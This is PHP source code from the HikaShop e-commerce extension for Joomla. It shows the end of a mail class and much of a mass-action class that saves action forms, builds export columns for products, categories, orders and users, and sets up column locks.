			$allimages = array();
			foreach($images[2] as $i => $url) {
				if(isset($allimages[$url])) continue;
				$allimages[$url] = 1;
				$path      =
str_replace(array(HIKASHOP_LIVE,'/'),array(HIKASHOP_ROOT,DS),$url);
				$filename  = basename($url);
				$md5       = md5($filename);
				$cid       = 'cid:' . $md5;
				$fileParts = explode(".", $filename);
				$ext       = strtolower($fileParts[1]);
				if(!isset($mimetypes[$ext])) continue;
				$mimeType  = $mimetypes[$ext];
				if($this->mailer->AddEmbeddedImage($path, $md5, $filename,
'base64', $mimeType)){
					 $this->mailer->Body =
preg_replace("/".$images[1][$i]."=\"".preg_quote($url,
'/')."\"/Ui",
$images[1][$i]."=\"".$cid."\"",
$this->mailer->Body);
				}else{
					$result = false;
				}
			}
		}
		return $result;
	}

	function sendMailEot(&$order, &$vars){
		$infos = new stdClass();
		$infos->order =& $order;
		$infos->vars =& $vars;
		$mail = $this->get('subscription_eot',$infos);
		$mail->subject = JText::sprintf($mail->subject,HIKASHOP_LIVE);

		$mail->dst_email = $vars['payer_email']; // for paypal
		$this->sendMail($mail);
		return;
	}
}
massaction.php000064400000244635151160302620007430 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopMassactionClass extends hikashopClass{
	var $tables = array('massaction');
	var $pkeys = array('massaction_id');
	var $toggle =
array('massaction_published'=>'massaction_id');
	var $report = array();

	function saveForm(){
		$element = new stdClass();
		$element->massaction_id = hikashop_getCID('massaction_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );

		foreach($formData['massaction'] as $column => $value){
			hikashop_secureField($column);
			$element->$column = strip_tags($value);
		}
		$this->_retreiveData($element,'trigger');
		$this->_retreiveData($element,'filter');
		$this->_retreiveData($element,'action');


		$class = hikashop_get('helper.translation');
		$class->getTranslations($element);

		$result = $this->save($element);
		if($result){
			$class->handleTranslations('massaction',$result,$element);
			JRequest::setVar( 'cid', $result);
		}
		return $result;
	}

	function _retreiveData(&$element, $type='trigger'){
		$var_name='massaction_'.$type.'s';
		$element->$var_name = '';
		$formData = JRequest::getVar( $type, array(), '',
'array' );

		if(count($formData[$element->massaction_table])>1)
$element->$var_name = array();
		foreach($formData[$element->massaction_table]['type'] as $i
=> $selection){
			if(empty($selection)) continue;
			$obj = new stdClass();
			$obj->name = $selection;
			$obj->data = array();
			foreach($formData[$element->massaction_table] as $k => $v){
				if(is_int($k) && $k==$i){
					$obj->data = $v[$selection];
					break;
				}
			}
			$element->{$var_name}[$i] = $obj;
		}
	}

	function
organizeExportColumn($data,$table,&$elements,&$action,&$types){
		switch($data){
			case 'product':
				switch($table){
					case 'product':
						$ids = array();
						$database = JFactory::getDBO();
						foreach($elements as $element){
							if(isset($element->product_parent_id->id)){
								$ids[] = $element->product_parent_id->id;
							}else if($element->product_parent_id){
								$ids[] = $element->product_parent_id;
							}
						}
						if(!empty($ids)){
							$query = 'SELECT product_id, product_code';
							$query .= ' FROM '.hikashop_table('product');
							$query .= ' WHERE product_id IN
('.implode(',',$ids).')';
							$database->setQuery($query);
							$rows = $database->loadObjectList();
							foreach($elements as $element){
								$id = $element->product_parent_id;
								$element->product_parent_id = '';
								$types['product_parent_id']->type = 'text';
								foreach($rows as $row){
									if($id->id != $row->product_id){continue;}
									$element->product_parent_id = $row->product_code;
								}
							}
						}
						break;
					case 'related':
						$ids = array();
						$database = JFactory::getDBO();
						foreach($elements as $element){
							$ids[] = $element->product_id;
						}
						$query = 'SELECT pr.product_id, p.product_code';
						$query .= ' FROM
'.hikashop_table('product').' AS p';
						$query .= ' INNER JOIN
'.hikashop_table('product_related').' AS pr ON
pr.product_related_id = p.product_id';
						$query .= ' WHERE pr.product_id IN
('.implode(',',$ids).')';
						$database->setQuery($query);
						$rows = $database->loadObjectList();
						$types['related']->type = 'text';
						foreach($elements as $element){
							foreach($element as $key=>$related){
								if($key == 'related'){
									foreach($related as $product){
										$product->related = '';
										foreach($rows as $row){
											if($element->product_id != $row->product_id){continue;}
											$product->related = $row->product_code;
										}
									}
								}
							}
						}
						break;
					case 'category':
						unset($action['category']);
						$database = JFactory::getDBO();
						$ids = array();

						foreach($elements as $element){
							foreach($element as $key=>$data){
								if($key == 'category'){
									foreach($data as $category){
										if(isset($category->category_id)){
											$ids[] = $category->category_id;
										}
									}
								}
							}
						}
						if(!empty($ids)){
							$query = 'SELECT DISTINCT category_name, category_id';
							$query .= ' FROM '.hikashop_table('category');
							$query .= ' WHERE category_id IN
('.implode(',',$ids).')';
							$database->setQuery($query);
							$rows = $database->loadObjectList();
							foreach($elements as $element){
								foreach($element as $key=>$data){
									if($key == 'category'){
										foreach($data as $category){
											if(isset($category->category_id)){
												$array = array();
												foreach($rows as $row){
													if($row->category_id == $category->category_id){
														$array[] = $row->category_name;
													}
												}
												$category->categories =
$this->separator($array,$data,$table);
												$types['categories'] = new stdClass();
												$types['categories']->type = 'text';
												$action['category']['categories'] =
'categories';
											}
										}
									}
								}
							}
						}
						break;
				}
				break;
			case 'user':
				switch($table){
					case 'address':
						foreach($elements as $element){
							if(!isset($element->address)){continue;}
							foreach($element->address as $k=>$address){
								if($address->address_default != 1){
									unset($element->address[$k]);
								}
							}
						}
						break;
				}
				break;
			case 'category':
				unset($action['category']);
				$database = JFactory::getDBO();
				$ids = array();

				foreach($elements as $category){
					if(isset($category->category_id)){
						$ids[] = $category->category_id;
					}
					if(isset($category->category_parent_id)){
						$ids[] = $category->category_parent_id->id;
					}
				}
				if(!empty($ids)){
					$query = 'SELECT DISTINCT category_name, category_id';
					$query .= ' FROM '.hikashop_table('category');
					$query .= ' WHERE category_id IN
('.implode(',',$ids).')';
					$database->setQuery($query);
					$rows = $database->loadObjectList();
					foreach($elements as $category){
						if(isset($category->category_parent_id->id)){
							$array = array();
							foreach($rows as $row){
								if($row->category_id ==
$category->category_parent_id->id){
									$array[] = $row->category_name;
								}
							}
							$category->parent_category =
$this->separator($array,$data,$table);
							$types['parent_category']->type = 'text';
							$action['category']['parent_category'] =
'parent_category';
						}
						if(isset($category->category_id)){
							$array = array();
							foreach($rows as $row){
								if($row->category_id == $category->category_id){
									$array[] = $row->category_name;
								}
							}
							$category->categories =
$this->separator($array,$data,$table);
							$types['categories']->type = 'text';
							$action['category']['categories'] =
'categories';
						}
					}
				}
				break;
			case 'order':
				switch($table){
					case 'address':
						if(isset($action['address'])){
							foreach($elements as $element){
								$element->shipping_address = array();
								$element->billing_address = array();
								if(!isset($element->address)){continue;}
								foreach($element->address as $address){
									if($address->address_id ===
$element->order_shipping_address_id && $address->address_id
=== $element->order_billing_address_id){
										$object = new stdClass();
										foreach($address as $column=>$value){
											if(isset($action['address'][$column])){continue;}
											$shipping_column = 'shipping_'.$column;
											$billing_column = 'billing_'.$column;
											$action['shipping_address']->$shipping_column =
$shipping_column;
											$action['billing_address']->$billing_column =
$billing_column;
											$object->$shipping_column=$value;
											$object->$billing_column=$value;
											$types[$billing_column]->type = $types[$column]->type;
											$types[$shipping_column]->type = $types[$column]->type;
										}
										$element->shipping_address[] = $object;
										$element->billing_address[] = $object;
									}else if($address->address_id ===
$element->order_shipping_address_id){
										$object = new stdClass();
										foreach($address as $column=>$value){
											if(isset($action['address'][$column])){continue;}
											$shipping_column = 'shipping_'.$column;
											$action['shipping_address']->$shipping_column =
$shipping_column;
											$object->$shipping_column=$value;
											$types[$shipping_column]->type = $types[$column]->type;
										}
										$element->shipping_address[] = $object;
									}else if($address->address_id ===
$element->order_billing_address_id){
										$object = new stdClass();
										foreach($address as $column=>$value){
											if(!isset($action['address'][$column])){continue;}
											$billing_column = 'billing_'.$column;
											$action['billing_address']->$billing_column =
$billing_column;
											$object->$billing_column=$value;
											$types[$billing_column]->type = $types[$column]->type;
										}
										$element->billing_address[] = $object;
									}
								}
							}
							unset($action['address']);
						}
						break;
					case 'order_product':
						if(isset($action['order_product'])){
							foreach($elements as $element){
								$cpt = 1;
								if(!isset($element->order_product)){continue;}
								if(!isset($element->order_full_tax)){
									$element->order_full_tax->value = 0;
									$action['order']['order_full_tax'] =
'order_full_tax';
									$types['order_full_tax']->type = 'price';
								}
								$element->order_full_tax->value +=
(int)$element->order_shipping_tax->value -
(int)$element->order_discount_tax->value;
								$element->order_full_tax->currency =
$element->order_currency_id;
								foreach($element->order_product as $product){
									if(isset($product->order_product_quantity) &&
isset($product->order_product_tax)){
										$element->order_full_tax->value+=round($product->order_product_quantity*$product->order_product_tax,2);
									}
									$tablename = 'product'.$cpt;
									$object = new stdClass();
									foreach($product as $column=>$value){
										if(!isset($action['order_product'][$column])){continue;}
										$product_column = 'item'.$cpt.'_'.$column;
										$action[$tablename]->$product_column = $product_column;
										$object->$product_column = $value;
										$types[$product_column]->type = $types[$column]->type;
									}
									$element->$tablename = array($object);
									$cpt++;
								}
							}
							unset($action['order_product']);
						}
						break;
				}
				break;
		}
	}

	function sortResult($table_name,$params){
		$params->types = array();
		$characteristics = array();
		$sub_ids =
array('order_user_id','order_partner_id');
		$prices = array(
			'order_discount_price'=>'order_currency_id',
			'order_shipping_price'=>'order_currency_id',
			'order_shipping_tax'=>'order_currency_id',
			'order_discount_tax'=>'order_currency_id',
			'order_payment_price'=>'order_currency_id',
			'price_value'=>'price_currency_id',
			'order_full_price'=>'order_currency_id',
			'user_partern_price'=>'user_partner_currency_id',
			'user_unpaid_amout'=>'user_currency_id'
		);
		$weights =
array('product_weight'=>'product_weight_unit');
		$timestamps =
array('product_sale_start','product_sale_end','product_last_seen_date');
		$methods_name =
array('order_shipping_id'=>'order_shipping_method','order_payment_id'=>'order_payment_method');
		$dimensions_unit = array('product_dimension_unit');
		$dimensions =
array('product_width','product_height','product_length');
		$yesnos =
array('product_published','order_partner_paid','order_invoice_created','category_published','address_published','address_default','user_partner_paid',array('block','sendEmail'));
		$jdate = array();

		foreach($params->action as $key=>$table){
			foreach($table as $action){
				$type = new stdClass();
				if($action == $key.'_id' || $action ==
$key.'_parent_id'){
					$type->type = 'id';
				}else{
					$type->type = 'text';
				}
				$params->types[$action] = $type;
			}
		}

		foreach($params->action as $key=>$table){
			if($key === 'joomla_users'){
				foreach($table as $action){
					$params->types[$action]->type = 'joomla_users';
					$params->types[$action]->sub_type = 'text';
					foreach($jdate as $date){
						if($action === $date){
							$params->types[$action]->sub_type = 'jdate';
						}
					}
					foreach($yesnos as $yesno){
						if(is_array($yesno)){
							foreach($yesno as $y){
								if($action === $y){
									$params->types[$action]->sub_type = 'yesno';
								}
							}
						}
					}
				}
			}
		}


		foreach($params->action as $key=>$table){
			if($key==='usergroups'){
				foreach($table as $action){
					$params->types[$action]->type = 'usergroups';
				}
			}
		}

		foreach($params->action as $key=>$table){
			if($key==='joomla_users'){
				foreach($table as $action){
					$params->types[$action]->type = 'joomla_users';
				}
			}
		}


		foreach($params->elements as $element){

			foreach($prices as $price=>$currency){
				if(isset($element->$currency)){
					$params->types[$currency] = new stdClass();
					$params->types[$currency]->type = 'currency';
					if(isset($element->$price)){
						$params->types[$price] = new stdClass();
						$params->types[$price]->type = 'price';
						$p = new stdClass();
						$p->value = $element->$price;
						$p->currency = $element->$currency;
						$element->$price = $p;
					}
				}else{
					foreach($element as $array){
						if(is_array($array)){
							foreach($array as $data){
								if(isset($data->$currency)){
									$params->types[$currency] = new stdClass();
									$params->types[$currency]->type = 'currency';
									if(isset($data->$price)){
										$params->types[$price] = new stdClass();
										$params->types[$price]->type = 'price';
										$p = new stdClass();
										$p->value = $data->$price;
										$p->currency = $data->$currency;
										$data->$price = $p;
									}
								}
							}
						}
					}
				}
			}

			foreach($weights as $weight=>$unit){
				if(isset($element->$unit)){
					$params->types[$unit] = new stdClass();
					$params->types[$unit]->type = 'weight_unit';
					if(isset($element->$weight)){
						$params->types[$weight] = new stdClass();
						$params->types[$weight]->type = 'weight';
					}
				}else{
					foreach($element as $array){
						if(is_array($array)){
							foreach($array as $data){
								if(isset($data->$unit)){
									$params->types[$unit] = new stdClass();
									$params->types[$unit]->type = 'weight_unit';
									if(isset($data->$weight)){
										$params->types[$weight] = new stdClass();
										$params->types[$weight]->type = 'weight';
									}
								}
							}
						}
					}
				}
			}



			if(!empty($element)){
				foreach($element as $key=>$related){
					if($key == 'related'){
						foreach($related as $elem){
							$elem->related = new stdClass();
							$elem->related->id = $elem->related_id;
							$elem->related->name = $elem->product_name;
							$type = new stdClass();
							$type->type = 'related';
							$params->types['related'] = $type;
						}
					}else if($key == 'options'){
						foreach($related as $elem){
							$elem->options = new stdClass();
							$elem->options->id = $elem->options_id;
							$elem->options->name = $elem->product_name;
							$type = new stdClass();
							$type->type = 'options';
							$params->types['options'] = $type;
							unset($params->action['related']['options']);
							$params->action['options']['options'] =
'options';
						}
					}
				}
				foreach($element as $key=>$charac){
					if($key === 'characteristic'){
						foreach($charac as $elem){
							if(isset($elem->characteristic_parent_id) &&
$elem->characteristic_parent_id === '0'){
								$var_name = $elem->characteristic_value;
								$characteristics[$elem->characteristic_id] = $var_name;
								$params->types[$var_name]->type =
'characteristic';
							}else if(isset($params->column)){
								$column = $params->column;
								$characteristics[$elem->characteristic_id] = $column;
								$params->types[$column]->type = 'characteristic';
							}
						}
					}
				}
			}
			foreach($timestamps as $timestamp){
				foreach($params->action as $table){
					if(isset($table[$timestamp])){
						$params->types[$timestamp]->type = 'date';
					}
				}
			}

			if($table_name == 'order'){
				if(isset($params->action['order']['order_shipping_id'])
&&
isset($params->action['order']['order_shipping_method'])){
					$shipping = array();
					$shipping['shipping']['shipping_name'] =
'shipping_name';
					$params->action =
$this->array_insert($params->action,1,$shipping);
					$params->types['shipping_name'] = new stdClass();
					$params->types['shipping_name']->type =
'method_name';
				}
				if(isset($params->action['order']['order_payment_id'])
&&
isset($params->action['order']['order_payment_method'])){
					$payment = array();
					$payment['payment']['payment_name'] =
'payment_name';
					$params->action =
$this->array_insert($params->action,2,$payment);
					$params->types['payment_name'] = new stdClass();
					$params->types['payment_name']->type =
'method_name';
				}
			}

			foreach($params->action as $key => $action){
				if(isset($action[$key.'_created'])){
					$column = $key.'_created';
					$params->types[$column]->type = 'date';
				}
				if(isset($action[$key.'_modified'])){
					$column = $key.'_modified';
					$params->types[$column]->type = 'date';
				}
			}


			if(isset($params->action['product']['product_dimension_unit'])){
				$params->types['product_dimension_unit']->type =
'dimension_unit';
			}
			$dim = new stdClass();
			foreach($dimensions as $dimension){
				if(isset($params->action[$table_name][$dimension])){
					$dimension_unit = $table_name.'_dimension_unit';
					if(is_object($element->$dimension))
						$value = $element->$dimension->value;
					else
						$value = $element->$dimension;
					$element->$dimension = new stdClass();
					$element->$dimension->unit = $element->$dimension_unit;
					$element->$dimension->value = $value;
					$params->types[$dimension]->type = 'dimension';
				}
			}

			foreach($params->action as $key => $elem){
				$path = $key.'_parent_id';
				if(isset($element->$path) && isset($elem[$path])){

					$params->types[$path]->type = 'parent';
					if(isset($element->$path->id)){
						$id = $element->$path->id;
					}else{
						$id = $element->$path;
					}
					if(isset($id) && $id != '0'){
						$row = $this->parentResults($key, $id);
						$pathElem = $key.'_name';
						$parent = new stdClass();
						$parent->id = $element->$path;
						if($row[0] != null)
							$parent->name = $row[0]->$pathElem;
						$element->$path = $parent;
					}else{
						$parent = new stdClass();
						$parent->id = '0';
						$parent->name = 'None';
						$element->$path = $parent;
					}
				}else{
					if(is_array($element)){
						foreach($element as $ele){
							if(is_array($ele)){
								foreach($ele as $data){
									if(isset($data->$path) && isset($elem[$path])){
										$id = $data->$path;
										if(isset($data->$path->id)){
											$id = $data->$path->id;
										}else{
											$id = $data->$path;
										}
										$params->types[$path]->type = 'parent';
										if($id != '0'){
											$row = $this->parentResults($key, $id);
											$pathElem = $key.'_name';

											$parent = new stdClass();
											$parent->id = $data->$path;
											if($row[0] != null)
												$parent->name = $row[0]->$pathElem;
											$data->$path = $parent;
										}else{
											$parent = new stdClass();
											$parent->id = '0';
											$parent->name = 'None';
											$data->$path = $parent;
										}
									}
								}
							}
						}
					}
				}
			}
			if(!empty($element)){
				foreach($element as $key=>$charac){
					if($key === 'characteristic'){
						foreach($charac as $elem){
							foreach($characteristics as $k => $data){
								if(isset($elem->characteristic_parent_id) && $k ==
$elem->characteristic_parent_id){
									$characteristic = new stdClass();
									$characteristic->name = $data;
									$characteristic->value = $elem->characteristic_value;
									$elem->$data = $characteristic;
								}else if(isset($params->column) && $k ==
$elem->characteristic_id){
									$characteristic = new stdClass();
									$characteristic->name = $data;
									$characteristic->value = $elem->characteristic_value;
									$elem->$data = $characteristic;
								}
							}
						}
					}
				}
				foreach($element as $key=>$charac){
					if($key === 'usergroups'){
						foreach($charac as $elem){
							$elem->usergroups = $elem->title;
						}
					}
				}
			}
		}

		foreach($params->action as $key=>$action){
			$column_layout = $key.'_layout';
			if(isset($params->action[$key][$column_layout])){
				$type = new stdClass();
				$type->type = 'layout';
				$params->types[$column_layout] = $type;
			}

			$column_status = $key.'_status';
			if(isset($params->action[$key][$column_status])){
				$type = new stdClass();
				$type->type = 'status';
				$params->types[$column_status] = $type;
			}

		}

		foreach($yesnos as $yesno){
			foreach($params->action as $key=>$table){
				if(!is_array($yesno) && isset($table[$yesno])){
					$params->types[$yesno]->type = 'yesno';
				}
			}
		}

		if(isset($params->action['shipping']['shipping_name'])){
			unset($params->action['order']['order_shipping_id']);
			unset($params->action['order']['order_shipping_method']);
		}
		if(isset($params->action['payment']['payment_name'])){
			unset($params->action['order']['order_payment_id']);
			unset($params->action['order']['order_payment_method']);
		}
		foreach($sub_ids as $sub_id){
			foreach($params->action as $table){
				if(isset($table[$sub_id])){
					$params->types[$sub_id]->type = 'sub_id';
				}
			}
		}


		$params->lock = array();
		$params->lock['product']['product_id'] = new
stdClass();
		$params->lock['product']['product_type'] = new
stdClass();
		$params->lock['product']['product_parent_id'] =
new stdClass();
		$params->lock['price']['price_id'] = new
stdClass();
		$params->lock['price']['price_product_id'] = new
stdClass();
		$params->lock['category']['category_id'] = new
stdClass();
		switch($table_name){
			case 'product':
				$params->lock['product']['product_id'] = new
stdClass();
				$params->lock['product']['product_id']->column
= true;
				$params->lock['product']['product_id']->square
= true;
				$params->lock['product']['product_id']->ids =
'all';
				$params->lock['product']['product_type'] = new
stdClass();
				$params->lock['product']['product_type']->column
= true;
				$params->lock['product']['product_type']->square
= true;
				$params->lock['product']['product_type']->ids
= 'all';
				$params->lock['product']['product_parent_id'] =
new stdClass();
				$params->lock['product']['product_parent_id']->column
= true;
				$params->lock['product']['product_parent_id']->square
= true;
				$params->lock['product']['product_parent_id']->ids
= 'all';
				$params->lock['product']['price_id'] = new
stdClass();
				$params->lock['price']['price_id']->column =
true;
				$params->lock['price']['price_id']->square =
true;
				$params->lock['price']['price_id']->ids =
'all';
				$params->lock['product']['category_id'] = new
stdClass();
				$params->lock['category']['category_id']->column
= true;
				$params->lock['category']['category_id']->square
= false;
				$params->lock['category']['category_id']->ids
= '';
				$params->lock['product']['price_product_id'] =
new stdClass();
				$params->lock['price']['price_product_id']->column
= true;
				$params->lock['price']['price_product_id']->square
= true;
				$params->lock['price']['price_product_id']->ids
= 'all';

				foreach($params->action as $key=>$table){
					foreach($table as $action){
						if($key == 'category' && $action
!='category_id'){
							$params->lock['category'][$action] = new stdClass();
							$params->lock['category'][$action]->column = true;
							$params->lock['category'][$action]->square = true;
							$params->lock['category'][$action]->ids =
'all';
						}
						if($key == 'characteristic'){
							$params->lock['characteristic'][$action] = new
stdClass();
							$params->lock['characteristic'][$action]->column =
true;
							$params->lock['characteristic'][$action]->square =
true;
							foreach($params->elements as $element){
								if($element->product_type == 'variant'){
									$params->lock['characteristic'][$action]->ids[] =
$element->product_id;
								}
							}
						}
					}
				}
				break;
			case 'category':
				$params->lock['category']['category_id'] = new
stdClass();
				$params->lock['category']['category_id']->column
= true;
				$params->lock['category']['category_id']->square
= true;
				$params->lock['category']['category_id']->ids
= 'all';
				$params->lock['category']['category_type'] = new
stdClass();
				$params->lock['category']['category_type']->column
= true;
				$params->lock['category']['category_type']->square
= true;
				$params->lock['category']['category_type']->ids
= 'all';
				$params->lock['category']['category_parent_id']
= new stdClass();
				$params->lock['category']['category_parent_id']->column
= true;
				$params->lock['category']['category_parent_id']->square
= false;
				$params->lock['category']['category_parent_id']->ids
= '';
				$params->lock['category']['category_left'] = new
stdClass();
				$params->lock['category']['category_left']->column
= true;
				$params->lock['category']['category_left']->square
= true;
				$params->lock['category']['category_left']->ids
= 'all';
				$params->lock['category']['category_right'] =
new stdClass();
				$params->lock['category']['category_right']->column
= true;
				$params->lock['category']['category_right']->square
= true;
				$params->lock['category']['category_right']->ids
= 'all';
				$params->lock['category']['category_depth'] =
new stdClass();
				$params->lock['category']['category_depth']->column
= true;
				$params->lock['category']['category_depth']->square
= true;
				$params->lock['category']['category_depth']->ids
= 'all';
				$params->lock['category']['category_menu'] = new
stdClass();
				$params->lock['category']['category_menu']->column
= true;
				$params->lock['category']['category_menu']->square
= true;
				$params->lock['category']['category_menu']->ids
= 'all';
				break;
			case 'order':
				$params->lock['order']['order_id'] = new
stdClass();
				$params->lock['order']['order_id']->column =
true;
				$params->lock['order']['order_id']->square =
true;
				$params->lock['order']['order_id']->ids =
'all';
				$params->lock['order']['order_type'] = new
stdClass();
				$params->lock['order']['order_type']->column
= true;
				$params->lock['order']['order_type']->square
= true;
				$params->lock['order']['order_type']->ids =
'all';
				$params->lock['order']['order_tax_info'] = new
stdClass();
				$params->lock['order']['order_tax_info']->column
= true;
				$params->lock['order']['order_tax_info']->square
= true;
				$params->lock['order']['order_tax_info']->ids
= 'all';
				$params->lock['order']['order_full_price'] = new
stdClass();
				$params->lock['order']['order_full_price']->column
= true;
				$params->lock['order']['order_full_price']->square
= true;
				$params->lock['order']['order_full_price']->ids
= 'all';
				$params->lock['order']['order_user_id'] = new
stdClass();
				$params->lock['order']['order_user_id']->column
= true;
				$params->lock['order']['order_user_id']->square
= false;
				$params->lock['order']['order_user_id']->ids
= '';
				$params->lock['order']['order_partner_id'] = new
stdClass();
				$params->lock['order']['order_partner_id']->column
= true;
				$params->lock['order']['order_partner_id']->square
= false;
				$params->lock['order']['order_partner_id']->ids
= '';
				$params->lock['order_product']['order_product_id']
= new stdClass();
				$params->lock['order_product']['order_product_id']->column
= true;
				$params->lock['order_product']['order_product_id']->square
= true;
				$params->lock['order_product']['order_product_id']->ids
= 'all';
				$params->lock['order_product']['product_id'] =
new stdClass();
				$params->lock['order_product']['product_id']->column
= true;
				$params->lock['order_product']['product_id']->square
= true;
				$params->lock['order_product']['product_id']->ids
= 'all';
				$params->lock['order_product']['order_id'] = new
stdClass();
				$params->lock['order_product']['order_id']->column
= true;
				$params->lock['order_product']['order_id']->square
= true;
				$params->lock['order_product']['order_id']->ids
= 'all';
				$params->lock['order_product']['order_product_name']
= new stdClass();
				$params->lock['order_product']['order_product_name']->column
= true;
				$params->lock['order_product']['order_product_name']->square
= true;
				$params->lock['order_product']['order_product_name']->ids
= 'all';
				$params->lock['order_product']['order_product_code']
= new stdClass();
				$params->lock['order_product']['order_product_code']->column
= true;
				$params->lock['order_product']['order_product_code']->square
= true;
				$params->lock['order_product']['order_product_code']->ids
= 'all';
				$params->lock['order_product']['order_product_price']
= new stdClass();
				$params->lock['order_product']['order_product_price']->column
= true;
				$params->lock['order_product']['order_product_price']->square
= true;
				$params->lock['order_product']['order_product_price']->ids
= 'all';
				$params->lock['order_product']['order_product_tax_info']
= new stdClass();
				$params->lock['order_product']['order_product_tax_info']->column
= true;
				$params->lock['order_product']['order_product_tax_info']->square
= true;
				$params->lock['order_product']['order_product_tax_info']->ids
= 'all';
				$params->lock['order_product']['order_product_option']
= new stdClass();
				$params->lock['order_product']['order_product_option']->column
= true;
				$params->lock['order_product']['order_product_option']->square
= true;
				$params->lock['order_product']['order_product_option']->ids
= 'all';
				$params->lock['order_product']['order_product_parent_id']
= new stdClass();
				$params->lock['order_product']['order_product_parent_id']->column
= true;
				$params->lock['order_product']['order_product_parent_id']->square
= true;
				$params->lock['order_product']['order_product_parent_id']->ids
= 'all';
				$params->lock['order_product']['order_product_wishlist_id']
= new stdClass();
				$params->lock['order_product']['order_product_wishlist_id']->column
= true;
				$params->lock['order_product']['order_product_wishlist_id']->square
= true;
				$params->lock['order_product']['order_product_wishlist_id']->ids
= 'all';
				$params->lock['order_product']['order_product_options']
= new stdClass();
				$params->lock['order_product']['order_product_options']->column
= true;
				$params->lock['order_product']['order_product_options']->square
= true;
				$params->lock['order_product']['order_product_options']->ids
= 'all';
				$params->lock['order_product']['order_product_tax']
= new stdClass();
				$params->lock['order_product']['order_product_tax']->column
= true;
				$params->lock['order_product']['order_product_tax']->square
= true;
				$params->lock['order_product']['order_product_tax']->ids
= 'all';
				$params->lock['order_product']['order_product_option_parent_id']
= new stdClass();
				$params->lock['order_product']['order_product_option_parent_id']->column
= true;
				$params->lock['order_product']['order_product_option_parent_id']->square
= true;
				$params->lock['order_product']['order_product_option_parent_id']->ids
= 'all';
				$params->lock['order_product']['order_product_shipping_id']
= new stdClass();
				$params->lock['order_product']['order_product_shipping_id']->column
= true;
				$params->lock['order_product']['order_product_shipping_id']->square
= true;
				$params->lock['order_product']['order_product_shipping_id']->ids
= 'all';
				$params->lock['order_product']['order_product_shipping_price']
= new stdClass();
				$params->lock['order_product']['order_product_shipping_price']->column
= true;
				$params->lock['order_product']['order_product_shipping_price']->square
= true;
				$params->lock['order_product']['order_product_shipping_price']->ids
= 'all';
				$params->lock['order_product']['order_product_shipping_tax']
= new stdClass();
				$params->lock['order_product']['order_product_shipping_tax']->column
= true;
				$params->lock['order_product']['order_product_shipping_tax']->square
= true;
				$params->lock['order_product']['order_product_shipping_tax']->ids
= 'all';
				$params->lock['order_product']['order_product_shipping_params']
= new stdClass();
				$params->lock['order_product']['order_product_shipping_params']->column
= true;
				$params->lock['order_product']['order_product_shipping_params']->square
= true;
				$params->lock['order_product']['order_product_shipping_params']->ids
= 'all';
				$params->lock['order_product']['order_product_shipping_method']
= new stdClass();
				$params->lock['order_product']['order_product_shipping_method']->column
= true;
				$params->lock['order_product']['order_product_shipping_method']->square
= true;
				$params->lock['order_product']['order_product_shipping_method']->ids
= 'all';
				foreach($params->action as $key=>$table){
					foreach($table as $action){
						if($key == 'user' || $key == 'joomla_users'){
							$params->lock[$key][$action] = new stdClass();
							$params->lock[$key][$action]->column = true;
							$params->lock[$key][$action]->square = true;
							$params->lock[$key][$action]->ids = 'all';
						}
					}
				}
				break;
			case 'user':
				$params->lock['user']['user_id'] = new
stdClass();
				$params->lock['user']['user_id']->column =
true;
				$params->lock['user']['user_id']->square =
true;
				$params->lock['user']['user_id']->ids =
'all';
				$params->lock['user']['user_cms_id'] = new
stdClass();
				$params->lock['user']['user_cms_id']->column
= true;
				$params->lock['user']['user_cms_id']->square
= true;
				$params->lock['user']['user_cms_id']->ids =
'all';
				$params->lock['user']['params'] = new
stdClass();
				$params->lock['user']['params']->column =
true;
				$params->lock['user']['params']->square =
false;
				$params->lock['user']['params']->ids =
'';
				$params->lock['joomla_users']['params'] = new
stdClass();
				$params->lock['joomla_users']['params']->column
= true;
				$params->lock['joomla_users']['params']->square
= false;
				$params->lock['joomla_users']['params']->ids
= '';
				$params->lock['usergroups']['usergroups'] = new
stdClass();
				$params->lock['usergroups']['usergroups']->column
= true;
				$params->lock['usergroups']['usergroups']->square
= true;
				$params->lock['usergroups']['usergroups']->ids
= 'all';
				$params->lock['address']['address_id'] = new
stdClass();
				$params->lock['address']['address_id']->column
= true;
				$params->lock['address']['address_id']->square
= true;
				$params->lock['address']['address_id']->ids =
'all';
				$params->lock['address']['address_user_id'] =
new stdClass();
				$params->lock['address']['address_user_id']->column
= true;
				$params->lock['address']['address_user_id']->square
= true;
				$params->lock['address']['address_user_id']->ids
= 'all';
				break;

			case 'address':
				$params->lock['address']['address_id'] = new
stdClass();
				$params->lock['address']['address_id']->column
= true;
				$params->lock['address']['address_id']->square
= true;
				$params->lock['address']['address_id']->ids =
'all';
				$params->lock['address']['address_user_id'] =
new stdClass();
				$params->lock['address']['address_user_id']->column
= true;
				$params->lock['address']['address_user_id']->square
= true;
				$params->lock['address']['address_user_id']->ids
= 'all';
				$params->lock['user']['user_id'] = new
stdClass();
				$params->lock['user']['user_id']->column =
true;
				$params->lock['user']['user_id']->square =
true;
				$params->lock['user']['user_id']->ids =
'all';
				$params->lock['user']['user_cms_id'] = new
stdClass();
				$params->lock['user']['user_cms_id']->column
= true;
				$params->lock['user']['user_cms_id']->square
= true;
				$params->lock['user']['user_cms_id']->ids =
'all';
				$params->lock['joomla_users']['id'] = new
stdClass();
				$params->lock['joomla_users']['id']->column =
true;
				$params->lock['joomla_users']['id']->square =
true;
				$params->lock['joomla_users']['id']->ids =
'all';
				break;

		}

		if($params->table != 'product' && $params->table
!= 'category' && $params->table != 'user'
&& $params->table != 'order' &&
$params->table != 'address'){
			if(!isset($this->dispatcher)){
				JPluginHelper::importPlugin('hikashop');
				$this->dispatcher = JDispatcher::getInstance();
			}
			$this->dispatcher->trigger('onSortData'.$params->table.'MassAction',array($table_name,&$params));
		}
		return $params;
	}


	function separator($array,$data,$table){
		$separator = array();
		$separator['product']['price'] = ' | ';
		$separator['product']['category'] = ';';
		$separator['product']['related'] = ';';
		$separator['user']['usergroups'] = ';';
		$cpt = 0;
		$row = '';
		foreach($array as $element){
			if($cpt == 0){
				$row .= $element;
				$cpt++;
			}else{
				if(!isset($separator[$data][$table])){
					$row .= $element;
				}else{
					$row .= $separator[$data][$table].$element;
				}
			}
		}
		return $row;
	}


